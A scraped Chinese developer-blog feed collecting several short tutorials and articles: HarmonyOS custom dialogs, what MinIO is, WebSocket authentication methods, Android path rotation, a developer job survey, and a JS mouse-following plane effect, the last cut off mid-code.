  • 如果实时性要求较低,短轮询或长轮询可能足够;如果需要实时性较高,考虑使用SSE或WebSocket,若仅需要服务端推送,尽可能考虑SSE。


网络和服务器资源



  • 短轮询和长轮询可能会产生较多的无效请求,增加带宽和服务器负担;SSE和WebSocket相对更高效。


个人简介


👋 你好,我是 Lorin 洛林,一位 Java 后端技术开发者!座右铭:Technology has the power to make the world a better place.


🚀 我对技术的热情是我不断学习和分享的动力。我的博客是一个关于Java生态系统、后端开发和最新技术趋势的地方。


🧠 作为一个 Java 后端技术爱好者,我不仅热衷于探索语言的新特性和技术的深度,还热衷于分享我的见解和最佳实践。我相信知识的分享和社区合作可以帮助我们共同成长。


💡 在我的博客上,你将找到关于Java核心概念、JVM 底层技术、常用框架如Spring和Mybatis 、MySQL等数据库管理、RabbitMQ、Rocketmq等消息中间件、性能优化等内容的深入文章。我也将分享一些编程技巧和解决问题的方法,以帮助你更好地掌握Java编程。


🌐 我鼓励互动和建立社区,因此请留下你的问题、建议或主题请求,让我知道你感兴趣的内容。此外,我将分享最新的互联网和技术资讯,以确保你与技术世界的最新发展保持联系。我期待与你一起在技术之路上前进,一起探讨技术世界的无限可能性。


📖 保持关注我的博客,让我们共同追求技术卓越。


作者:Lorin洛林
来源:juejin.cn/post/7305473943572578341
收起阅读 »

鸿蒙 akr ui 自定义弹窗实现教程

前言 各位同学有段时间没有见面 因为一直很忙所以就没有去更新博客。最近有在学习这个鸿蒙的ark ui开发 因为鸿蒙不是发布了一个鸿蒙next的测试版本 明年会启动纯血鸿蒙应用 所以我就想提前给大家写一些博客文章 效果图 具体实现: 1 弹窗部分布局 ...
继续阅读 »

前言


各位同学有段时间没有见面 因为一直很忙所以就没有去更新博客。最近有在学习这个鸿蒙的ark ui开发 因为鸿蒙不是发布了一个鸿蒙next的测试版本 明年会启动纯血鸿蒙应用 所以我就想提前给大家写一些博客文章


效果图


image.png


具体实现:




  • 1 弹窗部分布局




image.png


@CustomDialog
struct CustomDialogExample {
@Link textValue: string
@Link inputValue: string
controller: CustomDialogController
// 若尝试在CustomDialog中传入多个其他的Controller,以
// 实现在CustomDialog中打开另一个或另一些CustomDialog,
// 那么此处需要将指向自己的controller放在最后
cancel: () => void
confirm: () => void

build() {
Column() {
Text('改变文本').fontSize(20).margin({ top: 10, bottom: 10 })
TextInput({ placeholder: '', text: this.textValue }).height(60).width('90%')
.onChange((value: string) => {
this.textValue = value
})
Text('是否更改文本?').fontSize(16).margin({top:20, bottom: 10 })
Flex({ justifyContent: FlexAlign.SpaceAround }) {
Button('取消')
.onClick(() => {
this.controller.close()
this.cancel()
}).backgroundColor(0xffffff).fontColor(Color.Black)
Button('确认')
.onClick(() => {
this.inputValue = this.textValue
this.controller.close()
this.confirm()
}).backgroundColor(0xffffff).fontColor(Color.Red)
}.margin({ top:20,bottom: 10 })
}.height('40%')
// dialog默认的borderRadius为24vp,如果需要使用border属性,请和borderRadius属性一起使用。
}
}

这边我们使用 Column 嵌套2个 text和一个 Flex 里面在嵌套2个 text来实现 :然后2个回调方法


控制器实现:


@Entry
@Component
struct CustomDialogUser {
@State textValue: string = ''
@State inputValue: string = '点击改变'
dialogController: CustomDialogController = new CustomDialogController({
builder: CustomDialogExample({
cancel: this.onCancel,
confirm: this.onAccept,
textValue: $textValue,
inputValue: $inputValue
}),
cancel: this.existApp,
autoCancel: true,
alignment: DialogAlignment.Center,
offset: { dx: 0, dy: -20 },
gridCount: 4,
customStyle: false
})

// 在自定义组件即将析构销毁时将dialogController置空
aboutToDisappear() {
this.dialogController = undefined // 将dialogController置空
}

onCancel() {
console.info('Callback when the first button is clicked')
}

onAccept() {
console.info('Callback when the second button is clicked')
}

existApp() {
console.info('点击退出app ')
}

build() {
Column() {
Button(this.inputValue)
.onClick(() => {
if (this.dialogController != undefined) {
this.dialogController.open()
}
}).backgroundColor(0x317aff)
}.width('100%').margin({ top: 50})
}
}

我们实现一个控制器容纳再 弹窗的构造方法里面设置 回调和我们的弹窗弹出位置:


dialogController: CustomDialogController = new CustomDialogController({
builder: CustomDialogExample({
cancel: this.onCancel,
confirm: this.onAccept,
textValue: $textValue,
inputValue: $inputValue
}),
cancel: this.existApp,
autoCancel: true,
alignment: DialogAlignment.Center,
offset: { dx: 0, dy: -20 },
gridCount: 4,
customStyle: false
})

在我们button点击后弹出


build() {
Column() {
Button(this.inputValue)
.onClick(() => {
if (this.dialogController != undefined) {
this.dialogController.open()
}
}).backgroundColor(0x317aff)
}.width('100%').margin({ top: 50})
}

在自定义组件即将析构销毁时将controller置空


// 在自定义组件即将析构销毁时将dialogController置空
aboutToDisappear() {
this.dialogController = undefined // 将dialogController置空
}

完整代码 :






// xxx.ets
@CustomDialog
struct CustomDialogExample {
@Link textValue: string
@Link inputValue: string
controller: CustomDialogController
// 若尝试在CustomDialog中传入多个其他的Controller,以
// 实现在CustomDialog中打开另一个或另一些CustomDialog,
// 那么此处需要将指向自己的controller放在最后
cancel: () => void
confirm: () => void

build() {
Column() {
Text('改变文本').fontSize(20).margin({ top: 10, bottom: 10 })
TextInput({ placeholder: '', text: this.textValue }).height(60).width('90%')
.onChange((value: string) => {
this.textValue = value
})
Text('是否更改文本?').fontSize(16).margin({top:20, bottom: 10 })
Flex({ justifyContent: FlexAlign.SpaceAround }) {
Button('取消')
.onClick(() => {
this.controller.close()
this.cancel()
}).backgroundColor(0xffffff).fontColor(Color.Black)
Button('确认')
.onClick(() => {
this.inputValue = this.textValue
this.controller.close()
this.confirm()
}).backgroundColor(0xffffff).fontColor(Color.Red)
}.margin({ top:20,bottom: 10 })
}.height('40%')
// dialog默认的borderRadius为24vp,如果需要使用border属性,请和borderRadius属性一起使用。
}
}






@Entry
@Component
struct CustomDialogUser {
@State textValue: string = ''
@State inputValue: string = '点击改变'
dialogController: CustomDialogController = new CustomDialogController({
builder: CustomDialogExample({
cancel: this.onCancel,
confirm: this.onAccept,
textValue: $textValue,
inputValue: $inputValue
}),
cancel: this.existApp,
autoCancel: true,
alignment: DialogAlignment.Center,
offset: { dx: 0, dy: -20 },
gridCount: 4,
customStyle: false
})

// 在自定义组件即将析构销毁时将dialogController置空
aboutToDisappear() {
this.dialogController = undefined // 将dialogController置空
}

onCancel() {
console.info('Callback when the first button is clicked')
}

onAccept() {
console.info('Callback when the second button is clicked')
}

existApp() {
console.info('点击退出app ')
}

build() {
Column() {
Button(this.inputValue)
.onClick(() => {
if (this.dialogController != undefined) {
this.dialogController.open()
}
}).backgroundColor(0x317aff)
}.width('100%').margin({ top: 50})
}
}

最后总结:


鸿蒙ark ui 里面的自定义弹窗和我们安卓还有flutter里面的差不多我们学会自定义弹窗理论上那些 警告弹窗 列表选择器弹窗, 日期滑动选择器弹窗 ,时间滑动选择器弹窗 ,文本滑动选择器弹窗 ,我们都是可以自己自定义实现的。这里就不展开讲有兴趣的同学可以自己多花时间研究实现一下,最后呢 希望我都文章能帮助到各位同学工作和学习 如果你觉得文章还不错麻烦给我三连 关注点赞和转发 谢谢


作者:坚果派_xq9527
来源:juejin.cn/post/7305983336496496650
收起阅读 »

MinIO是干嘛的?

一、MinIO是干嘛的? 网上搜索“minio是干嘛的”这个问题搜索的太多了,我们感觉是我们的工作没有做好才给大家造成了这么大的信息差。在这里,我们有义务将信息差补齐。 先正面回答问题: MinIO是一种SDS(软件定义存储)的分布式存储软件,用来进行构建独...
继续阅读 »

一、MinIO是干嘛的?


网上搜索“minio是干嘛的”这个问题搜索的太多了,我们感觉是我们的工作没有做好才给大家造成了这么大的信息差。在这里,我们有义务将信息差补齐。


先正面回答问题:



MinIO是一种SDS(软件定义存储)的分布式存储软件,用来进行构建独立、私有化、公有云、边缘网络的对象存储软件。
它是一个开源的软件,原来遵循的是Apache协议,在2021年4月22日修改为了AGPL v3.0协议。
如果遵守软件许可协议使用,你几乎可以免费使用它。



二、MinIO的解释好复杂,给我一个简单点的解释行吗?


很多朋友又提到了下面的问题:
“你上午说了那么大一段,我根本不明白是什么意思呀?你能简单点一说一下到底是干嘛的,为什么要用MinIO吗?”


好的,我们提取一些关键词:



  1. SDS,软件定义存储

  2. 分布式存储

  3. 对象存储

  4. 私有云存储

  5. 公有云存储

  6. 边缘网络

  7. apche协议

  8. AGPL v3.0协议


我们针对上面的回答清楚后,再来理解最上面的一句话就好理解了。


三、名词解释


3.1 SDS(软件定义存储)


传统的存储设备都是有专用硬件的。但是,CPU的算力迅猛增长,算力不再是问题了。并且,也不需要再次购买专用硬件了。
基于CPU强大的算力,用软件实现和定义的分布式存储,即便宜、又安全、还省钱。
与传统硬件定义的存储价格相对可以节省成本3 - 7倍的费用。


3.2 分布式存储


传统的存储像NAS(网络附加存储)都是单节点的,如果出现网络通信故障,整个数据保障全部都会中断。因此,大家想到了一种办法:由多台服务器构建一个存储网络,任意一台存储服务器掉线都不会影响数据安全和服务的稳定。这个时候,就推出了分布式存储。


3.3 对象存储


最早的时候Google 开放了它全球 低成本存储的一篇实践论文,引起了全球的存储市场的震动。后来各家都基于Google开放的文档实现了自己的对象存储,极大的降低了自己企业的成本。其中:
亚马逊实现的对象存储叫S3;
阿里云实现了OSS(Object storage system);
Google实现的对象存储叫GCS(Google cloud storage);
微软实现的对象存储叫ABS(Azure Blob Storage);
百度实现的叫BOS;
国内其他厂商,包括七牛、青云、ceph等厂家也都实现了自己的对象存储系统。


在对象存储的内部使用URL进行统一资源定位,每一个对象相当于是一个URL,这样相比于传统的文件系统存储方式,对象存储更加灵活、可扩展性更强,更适合存储海量数据。
它最最大的优点在于:节约成本的同时,实现高可扩展性,它可以轻松地增加存储容量,而无需停机维护或中断服务。
而公开对象存储标准的是S3。因此,


3.4 私有云存储、公有云存储、边缘网络


公有云:一般由大公司如阿里、腾讯、百度等公司构建的公众(个人或者公司)可以直接在上面按量或按需租赁服务器、算力、存储空间的一种云计算产品。
私有云:私有云有更好的安全性、私密性、独立性,一般是由企业自己构建的云计算池资源。
边缘网络:一般是小型物联网设备或者家庭物联网设备,如家用电视、路由器、家用存储网关、工厂存储网关、汽车存储网关等。


3.5 Apache 协议和AGPL v3.0 协议


首先,国外讲究开源和普世价值观,好的东西分享给更多的人,所以马斯克的星舰、特斯拉的全部源代码、设计图全都开源了。


但是,需要让更多的人遵守一个开源规范,于是就有了一系列的开源协议如:Apache协议、AGPL v3.0协议。


Apache协议的特点:



  1. 代码派生:Apache 协议允许对代码进行修改、衍生和扩展,并且可以将这些修改后的代码重新发布。

  2. 私有使用:Apache 协议还允许将 Apache 许可的代码用于私有目的,而不需要公开发布或共享这些代码。

  3. 版权声明:Apache 协议要求所有代码都必须包含原始版权声明和许可证。

  4. 免责声明:Apache 协议明确规定,代码作者和 Apache 软件基金会不对任何因使用该软件而引起的风险和损失负责。

  5. 专利授权:Apache 协议明确规定,如果原始代码拥有人拥有相关专利,则授予使用该代码的公司和个人适当的专利授权。
    所以我们通常认为,Apache 协议是一种非常灵活和宽松的开源许可证,允许开源社区和商业公司根据自己的需求进行自由使用和分发代码。


AGPL v3.0开源协议的特点:


AGPL v3.0 协议要求在使用AGPL v3.0 许可的软件作为服务通过互联网向外提供服务时,必须公开源代码并允许其他人查看、修改和分发源代码。
这个开源协议有以下几个特点:



  1. 共享和公开源代码:AGPL v3.0 协议要求将使用该许可证的软件的源代码公开,并且所有基于该软件构建的应用程序都必须遵守该许可证的规定。

  2. 网络服务的限制:AGPL v3.0 协议适用于在网络上提供服务的软件,例如 Web 应用程序和 SaaS(Software as a Service)服务。如果使用许可证的软件被用于这些服务,那么相应的源代码必须公开。

  3. 贡献者权益保护:AGPL v3.0 协议还明确规定,任何对软件进行更改或修改的用户必须将其贡献回到原始项目中,以便其他人也可以自由地使用和修改这些更改。

  4. 版权声明:AGPL v3 协议要求在所有的副本和派生作品中包含原始版权和许可证声明。


总结,Apache开源协议更为宽松,而AGPL v3.0协议的权利义务要求更加严格一些。


四、MinIO是干嘛的?(总结)


4.1 温故而知新


上面我们解析了所有的内容,再读一次,我们的总结:



MinIO是一种SDS(软件定义存储)的分布式存储软件,用来进行构建独立、私有化、公有云、边缘网络的对象存储软件。
它是一个开源的软件,原来遵循的是Apache协议,在2021年4月22日修改为了AGPL v3.0协议。
如果遵守软件许可协议使用,你几乎可以免费使用它。



4.2 使用场景


说了一系列理论,不说使用场景就是耍(bu)流(yao)氓(lian)。


现在企业在开发的时候有一系列的要求:



  1. 不准在服务器进行本地文件写入;

  2. 要求写入必须要写入至统一对象存储中去。


这样的要求带来的好处就是:
每个人写入的时候,都写到了统一的存储数据湖中。如果有5台应用服务器需要快速扩容,可以瞬间再扩展5台服务器,构建10台服务器空间即可。所有的文件都存储于MinIO这样的对象存储中,扩容而不需要复制各台服务器中的文件。
这样就能实现业务的快速扩容啦。


你懂了吗?


作者:Python小甲鱼
来源:juejin.cn/post/7304531203772334115
收起阅读 »

WebSocket 鉴权实践:从入门到精通

web
WebSocket 作为实时通信的利器,越来越受到开发者的青睐。然而,为了确保通信的安全性和合法性,鉴权成为不可或缺的一环。本文将深入探讨 WebSocket 的鉴权机制,为你呈现一揽子的解决方案,确保你的 WebSocket 通信得心应手。 使用场景 We...
继续阅读 »

WebSocket 作为实时通信的利器,越来越受到开发者的青睐。然而,为了确保通信的安全性和合法性,鉴权成为不可或缺的一环。本文将深入探讨 WebSocket 的鉴权机制,为你呈现一揽子的解决方案,确保你的 WebSocket 通信得心应手。


alt


使用场景


WebSocket 鉴权在许多场景中都显得尤为重要。例如,实时聊天应用、在线协作工具、实时数据更新等情境都需要对 WebSocket 进行鉴权,以确保只有合法的用户或服务可以进行通信。通过本文的指导,你将更好地了解在何种场景下使用 WebSocket 鉴权是有意义的。


WebSocket 调试工具


要调试 WebSocket,那就需要一个好的调试工具,这里我比较推荐 Apifox。它支持调试 http(s)、WebSocket、Socket、gRPCDubbo 等多种协议的接口,这使得它成为了一个非常全面的接口测试工具!


alt


常见方法


方法 1:基于 Token 的鉴权


WebSocket 鉴权中,基于 Token 的方式是最为常见和灵活的一种。通过在连接时携带 Token,服务器可以验证用户的身份。以下是一个简单的示例:


const WebSocket = require('ws');

const server = new WebSocket.Server({ port: 3000 });

server.on('connection', (socket, req) => {
const token = req.headers['sec-websocket-protocol'];

// 验证token的合法性
if (isValidToken(token)) {
// 鉴权通过,进行后续操作
socket.send('鉴权通过,欢迎连接!');
} else {
// 鉴权失败,关闭连接
socket.close();
}
});

方法 2:基于签名的鉴权


另一种常见的鉴权方式是基于签名的方法。通过在连接时发送带有签名的信息,服务器验证签名的合法性。以下是一个简单的示例:


const WebSocket = require('ws');
const crypto = require('crypto');

const server = new WebSocket.Server({ port: 3000 });

server.on('connection', (socket, req) => {
const signature = req.headers['x-signature'];
const data = req.url + req.headers['sec-websocket-key'];

// 验证签名的合法性
if (isValidSignature(signature, data)) {
// 鉴权通过,进行后续操作
socket.send('鉴权通过,欢迎连接!');
} else {
// 鉴权失败,关闭连接
socket.close();
}
});

方法 3:基于 IP 白名单的鉴权


在某些情况下,你可能希望限制 WebSocket 连接只能来自特定 IP 地址范围。这时可以使用基于 IP 白名单的鉴权方式。


const WebSocket = require('ws');

const allowedIPs = ['192.168.0.1', '10.0.0.2'];

const server = new WebSocket.Server({ port: 3000 });

server.on('connection', (socket, req) => {
const clientIP = req.connection.remoteAddress;

// 验证连接是否在白名单中
if (allowedIPs.includes(clientIP)) {
// 鉴权通过,进行后续操作
socket.send('鉴权通过,欢迎连接!');
} else {
// 鉴权失败,关闭连接
socket.close();
}
});

方法 4:基于 OAuth 认证的鉴权


在需要与现有身份验证系统集成时,OAuth 认证是一种常见的选择。通过在连接时使用 OAuth 令牌,服务器可以验证用户的身份。


const WebSocket = require('ws');
const axios = require('axios');

const server = new WebSocket.Server({ port: 3000 });

server.on('connection', async (socket, req) => {
const accessToken = req.headers['authorization'];

// 验证OAuth令牌的合法性
try {
const response = await axios.get('https://oauth-provider.com/verify', {
headers: { Authorization: `Bearer ${accessToken}` }
});

if (response.data.valid) {
// 鉴权通过,进行后续操作
socket.send('鉴权通过,欢迎连接!');
} else {
// 鉴权失败,关闭连接
socket.close();
}
} catch (error) {
// 验证失败,关闭连接
socket.close();
}
});

其他常见方法...


除了以上介绍的方式,还有一些其他的鉴权方法,如基于 API 密钥、HTTP 基本认证等。根据具体需求,选择最适合项目的方式。


实践案例


基于 Token 的鉴权实践



  1. 在 WebSocket 连接时,客户端携带 Token 信息。

  2. 服务器接收 Token 信息并验证其合法性。

  3. 根据验证结果,允许或拒绝连接。


// 客户端代码
const socket = new WebSocket('ws://localhost:3000', ['Bearer YOUR_TOKEN']);

// 服务器端代码
server.on('connection', (socket, req) => {
const token = req.headers['sec-websocket-protocol'];

if (isValidToken(token)) {
socket.send('鉴权通过,欢迎连接!');
} else {
socket.close();
}
});

基于签名的鉴权实践



  1. 在 WebSocket 连接时,客户端计算签名并携带至服务器。

  2. 服务器接收签名信息,验证其合法性。

  3. 根据验证结果,允许或拒绝连接。


// 客户端代码
const socket = new WebSocket('ws://localhost:3000', { headers: { 'X-Signature': calculateSignature() } });

// 服务器端代码
server.on('connection', (socket, req) => {
const signature = req.headers['x-signature'];
const data = req.url + req.headers['sec-websocket-key'];

if (isValidSignature(signature, data)) {
socket.send('鉴权通过,欢迎连接!');
} else {
socket.close();
}
});

基于 IP 白名单的鉴权实践



  1. 在 WebSocket 连接时,服务器获取客户端 IP 地址。

  2. 验证 IP 地址是否在白名单中。

  3. 根据验证结果,允许或拒绝连接。


// 服务器端代码
server.on('connection', (socket, req) => {
const clientIP = req.connection.remoteAddress;

if (allowedIPs.includes(clientIP)) {
socket.send('鉴权通过,欢迎连接!');
} else {
socket.close();
}
});

基于 OAuth 认证的鉴权实践



  1. 在 WebSocket 连接时,客户端携带 OAuth 令牌。

  2. 服务器调用 OAuth 服务验证令牌的合法性。

  3. 根据验证结果,允许或拒绝连接。


// 客户端代码
const socket = new WebSocket('ws://localhost:3000', { headers: { 'Authorization': 'Bearer YOUR_ACCESS_TOKEN' } });

// 服务器端代码
server.on('connection', async (socket, req) => {
const accessToken = req.headers['authorization'];

try {
const response = await axios.get('https://oauth-provider.com/verify', {
headers: { Authorization: `Bearer ${accessToken}` }
});

if (response.data.valid) {
socket.send('鉴权通过,欢迎连接!');
} else {
socket.close();
}
} catch (error) {
socket.close();
}
});

提示、技巧和注意事项



  • 在选择鉴权方式时,要根据项目的实际需求和安全性要求进行合理选择。

  • 对于基于 Token 的鉴权,建议使用 JWT(JSON Web Token)来提高安全性。

  • 在验证失败时,及时关闭连接,以防止未授权的访问。


在 Apifox 中调试 WebSocket


如果你要调试 WebSocket 接口,并确保你的应用程序能够正常工作。这时,一个强大的接口测试工具就会派上用场。


Apifox 是一个比 Postman 更强大的接口测试工具,Apifox = Postman + Swagger + Mock + JMeter。它支持调试 http(s)、WebSocket、Socket、gRPC、Dubbo 等多种协议的接口,这使得它成为了一个非常全面的接口测试工具,所以强烈推荐去下载体验


首先在 Apifox 中新建一个 HTTP 项目,然后在项目中添加 WebSocket 接口。


alt


alt


接着输入 WebSocket 的服务端 URL,例如:ws://localhost:3000,然后保存并填写接口名称,然后确定即可。


alt


alt


点击“Message 选项”然后写入“你好啊,我是 Apifox”,然后点击发送,你会看到服务端和其它客户端都接收到了信息,非常方便,快去试试吧


alt


以下用 Node.js 写的 WebSocket 服务端和客户端均收到了消息。


alt


总结


通过本文的介绍,你应该对 WebSocket 鉴权有了更清晰的认识。不同的鉴权方式各有优劣,你可以根据具体情况选择最适合自己项目的方式。在保障通信安全的同时,也能提供更好的用户体验。


参考链接



学习更多:



作者:Hong1
来源:juejin.cn/post/7304839912875982884
收起阅读 »

Android Path路径旋转矩阵计算

一、前言 之前有一篇重点讲了三角形的绕环运动,主要重点内容是将不规则物体构造成一个正方形矩阵,便于计算中点,然后通过圆与切线的垂直关系计算出旋转角度。但实际上这种计算是利用了圆的特性,如果是不规则路径,物体该如何旋转呢 ? 实际上Android提供了一个非常强...
继续阅读 »

一、前言


之前有一篇重点讲了三角形的绕环运动,主要重点内容是将不规则物体构造成一个正方形矩阵,便于计算中点,然后通过圆与切线的垂直关系计算出旋转角度。但实际上这种计算是利用了圆的特性,如果是不规则路径,物体该如何旋转呢 ?


实际上Android提供了一个非常强大的工具——PathMeasure,可以通过片段计算出运动的向量,通过向量和x轴正方向的夹角的斜率就能计算出旋转角度 (这里就不推导了)。


二、效果预览



原理:


通过PathMeasure测量出position和正切的斜率,注意tan和position都是数组,[0]为x或者x方向,[1]为y或者为y方向,当然tan是带方向的矢量,计算公式是 A = ( x1-x2,y1-y2),这些是PathMeasure计算好的。


PathMeasure.getPosTan(mPathMeasure.getLength() * fraction, position, tan);

三、案例


下面是本篇自行车运行的轨迹


public class PathMoveView extends View {
private Bitmap mBikeBitmap;
// 圆路径
private Path mPath;
// 路径测量
private PathMeasure mPathMeasure;

// 当前移动值
private float fraction = 0;
private Matrix mBitmapMatrix;
private ValueAnimator animator;
// PathMeasure 测量过程中的坐标
private float[] position = new float[2];
// PathMeasure 测量过程中矢量方向与x轴夹角的的正切值
private float[] tan = new float[2];
private RectF rectHolder = new RectF();
private Paint mDrawerPaint;

public PathMoveView(Context context) {
super(context);
init(context);

}

public PathMoveView(Context context, AttributeSet attrs) {
super(context, attrs);
init(context);

}

public PathMoveView(Context context, AttributeSet attrs, int defStyleAttr) {
super(context, attrs, defStyleAttr);
init(context);
}

protected void init(Context context) {
// 初始化 画笔 [抗锯齿、不填充、红色、线条2px]
mDrawerPaint = new Paint();
mDrawerPaint.setAntiAlias(true);
mDrawerPaint.setStyle(Paint.Style.STROKE);
mDrawerPaint.setColor(Color.WHITE);
mDrawerPaint.setStrokeWidth(2);

// 获取图片
mBikeBitmap = BitmapFactory.decodeResource(context.getResources(), R.mipmap.ic_bike, null);
// 初始化矩阵
mBitmapMatrix = new Matrix();

}

@Override
protected void onMeasure(int widthMeasureSpec, int heightMeasureSpec) {
super.onMeasure(widthMeasureSpec, heightMeasureSpec);
int heightMode = MeasureSpec.getMode(heightMeasureSpec);
int height = 0;
if (heightMode == MeasureSpec.UNSPECIFIED) {
height = (int) dp2px(120);
} else if (heightMode == MeasureSpec.AT_MOST) {
height = Math.min(getMeasuredHeight(), getMeasuredWidth());
} else {
height = MeasureSpec.getSize(heightMeasureSpec);
}

setMeasuredDimension(getMeasuredWidth(), height);
}

@Override
protected void onDraw(Canvas canvas) {

int width = getWidth();
int height = getHeight();
if (width <= 1 || height <= 1) {
return;
}

if (mPath == null) {
mPath = new Path();
} else {
mPath.reset();
}
rectHolder.set(-100, -100, 100, 100);

mPath.moveTo(-getWidth() / 2F, 0);
mPath.lineTo(-(getWidth() / 2F + 200) / 2F, -400);
mPath.lineTo(-200, 0);
mPath.arcTo(rectHolder, 180, 180, false);
mPath.quadTo(300, -200, 400, 0);
mPath.lineTo(500, 0);

if (mPathMeasure == null) {
mPathMeasure = new PathMeasure();
mPathMeasure.setPath(mPath, false);
}

int saveCount = canvas.save();
// 移动坐标矩阵到View中间
canvas.translate(getWidth() / 2F, getHeight() / 2F);

// 获取 position(坐标) 和 tan(正切斜率),注意矢量方向与x轴的夹角
mPathMeasure.getPosTan(mPathMeasure.getLength() * fraction, position, tan);

// 计算角度(斜率),注意矢量方向与x轴的夹角
float degree = (float) Math.toDegrees(Math.atan2(tan[1], tan[0]));
int bmpWidth = mBikeBitmap.getWidth();
int bmpHeight = mBikeBitmap.getHeight();
// 重置为单位矩阵
mBitmapMatrix.reset();
// 旋转单位举证,中心点为图片中心
mBitmapMatrix.postRotate(degree, bmpWidth / 2, bmpHeight / 2);
// 将图片中心和移动位置对齐
mBitmapMatrix.postTranslate(position[0] - bmpWidth / 2,
position[1] - bmpHeight / 2);


// 画圆路径
canvas.drawPath(mPath, mDrawerPaint);
// 画自行车,使用矩阵旋转方向
canvas.drawBitmap(mBikeBitmap, mBitmapMatrix, mDrawerPaint);
canvas.restoreToCount(saveCount);
}

public void start() {

if (animator != null) {
animator.cancel();
}
ValueAnimator valueAnimator = ValueAnimator.ofFloat(0, 1f);
valueAnimator.setDuration(6000);
// 匀速增长
valueAnimator.setInterpolator(new LinearInterpolator());
valueAnimator.setRepeatCount(ValueAnimator.INFINITE);
valueAnimator.addUpdateListener(new ValueAnimator.AnimatorUpdateListener() {
@Override
public void onAnimationUpdate(ValueAnimator animation) {
// 第一种做法:通过自己控制,是箭头在原来的位置继续运行
fraction = (float) animation.getAnimatedValue();
postInvalidate();
}
});
valueAnimator.start();
this.animator = valueAnimator;
}

public void stop() {
if (animator == null) return;
animator.cancel();
}

public float dp2px(float dp) {
return TypedValue.applyDimension(TypedValue.COMPLEX_UNIT_DIP, dp, getResources().getDisplayMetrics());
}

}

缺陷和问题处理:


从图上我们看到,车轮在路线的地下,这种视觉问题需要不断的修正和偏移才能得到解决,比如一段直线和圆面要分别计算偏移。


四、总结


PathMeasure 功能非常强大,可用于一般的在2D游戏中地图路线的计算,因此掌握好路径测量工具,可以方便我们做更多的东西。


作者:时光少年
来源:juejin.cn/post/7305235970286370827
收起阅读 »

全球接近八成的开发人员正在考虑新的岗位

Stack Overflow 进行的一项调查显示,79% 的开发人员要么正在积极寻找新的工作机会,要么对这个想法持开放态度。这些发现标志着与前几年相比有了显著的增长,表明开发人员探索新的职业道路和挑战的趋势越来越大。 这项调查得到了全球 1000 多名开发者的...
继续阅读 »


Stack Overflow 进行的一项调查显示,79% 的开发人员要么正在积极寻找新的工作机会,要么对这个想法持开放态度。这些发现标志着与前几年相比有了显著的增长,表明开发人员探索新的职业道路和挑战的趋势越来越大。


这项调查得到了全球 1000 多名开发者的回应,也揭示了行业内其他有趣的模式。


一个引人注目的发现是,新技术人才和职业后期开发人员之间出现了分歧。这两个群体都表现出更倾向于寻求新的职位,这可能是由多种因素驱动的,如入门级职位的稀缺和科技行业缺乏稳定性。


人才的迁移导致了行业的多样化,制造业/供应链和金融服务业出现了技术娴熟的开发者的涌入。


是什么导致考虑跳槽?


该调查还强调了好奇心是跳槽的重要动力,尤其是在职业发展后期。


尽管在所有年龄段的人中,更高的薪水仍然是首要任务,但对其他公司的好奇心成为了一个有力的驱动因素,这表明开发人员的心态正在向更具探索性的职业转变。


灵活性也成为影响开发人员决定继续担任当前角色的一个关键因素。


调查显示,开发者,尤其是44岁及以下的开发者,最看重灵活性。这一趋势与劳动力中观察到的更广泛的模式一致,即员工越来越多地寻求在职业挑战和个人生活之间取得平衡的角色。


人工智能的兴起也在塑造开发者的认知方面发挥了显著作用。70% 的受访者使用或计划使用人工智能工具。开发人员越来越依赖人工智能工具来提高生产力,这可能会导致他们在角色中对持续学习的重视程度下降。


随着科技行业经历这一变革阶段,公司可能需要重新评估其留住顶尖人才的策略。


在竞争日益激烈的就业市场中,提供有竞争力的薪酬同时保持灵活性将是留住人才的关键。


作者:ENG八戒
来源:juejin.cn/post/7305983336497004554
收起阅读 »

JS特效:跟随鼠标移动的小飞机

web
前端网页中,用JS实现鼠标移动时,页面中的小飞机向着鼠标移动。 效果 源码 <!DOCTYPE html> <html> <head> <style> *{ margin: ...
继续阅读 »

前端网页中,用JS实现鼠标移动时,页面中的小飞机向着鼠标移动。


效果



源码


<!DOCTYPE html>
<html>

<head>
<style>
*{
margin: 0;
padding: 0;
}
body{
height: 100vh;
background: linear-gradient(200deg,#005bea,#00c6fb);
}
#plane{
color: #fff;
font-size: 70px;
position: absolute;
display: flex;
justify-content: center;
align-items: center;
}
</style>
</head>

<body>
<div id="plane">
<i aria-hidden="true"></i>
</div>
<script>
var plane=document.getElementById('plane');
var deg=0,ex=0,ey=0,vx=0,vy=0,count=0;
window.addEventListener('mousemove',(e)=>{
ex=e.pageX-plane.offsetLeft-plane.clientWidth/2;
ey=e.pageY-plane.offsetTop-plane.clientHeight/2;
deg=360*Math.atan(ey/ex)/(2*Math.PI)+5;
if(ex<0){
deg+=180;
}
count=0;
})
function draw(){
plane.style.transform='rotate('+deg+'deg)';
if(count<100){
vx+=ex/100;
vy+=ey/100;
}
plane.style.left=vx+'px';
plane.style.top=vy+'px';
count++;
}
setInterval(draw,1);
</script>
</body>

</html>

实现的原理是:当鼠标在网页中移动时,获取鼠标位置,同时设置飞机指向、并移动飞机位置,直至飞机到达鼠标位置。


重点代码是mousemove事件接管函数和移动飞机位置函数draw。


window.addEventListener('mousemove',(e)=>{
ex=e.pageX-plane.offsetLeft-plane.clientWidth/2;
ey=e.pageY-plane.offsetTop-plane.clientHeight/2;
deg=360*Math.atan(ey/ex)/(2*Math.PI)+5;
if(ex<0){
deg+=180;
}
count=0;
})
function draw(){
plane.style.transform='rotate('+deg+'deg)';
if(count<100){
vx+=ex/100;
vy+=ey/100;
}
plane.style.left=vx+'px';
plane.style.top=vy+'px';
count++;
}

由代码中即可知道实现逻辑。如果想独自享用此功能,不想让他人知道原理、不想被他人修改,可以将核心JS代码进行混淆加密。


比如用JShaman对上述JS代码加密。



加密后的代码,会成为以下形式,使用起来还跟加密前一样。


window.addEventListener('mousemove',(e)=>{
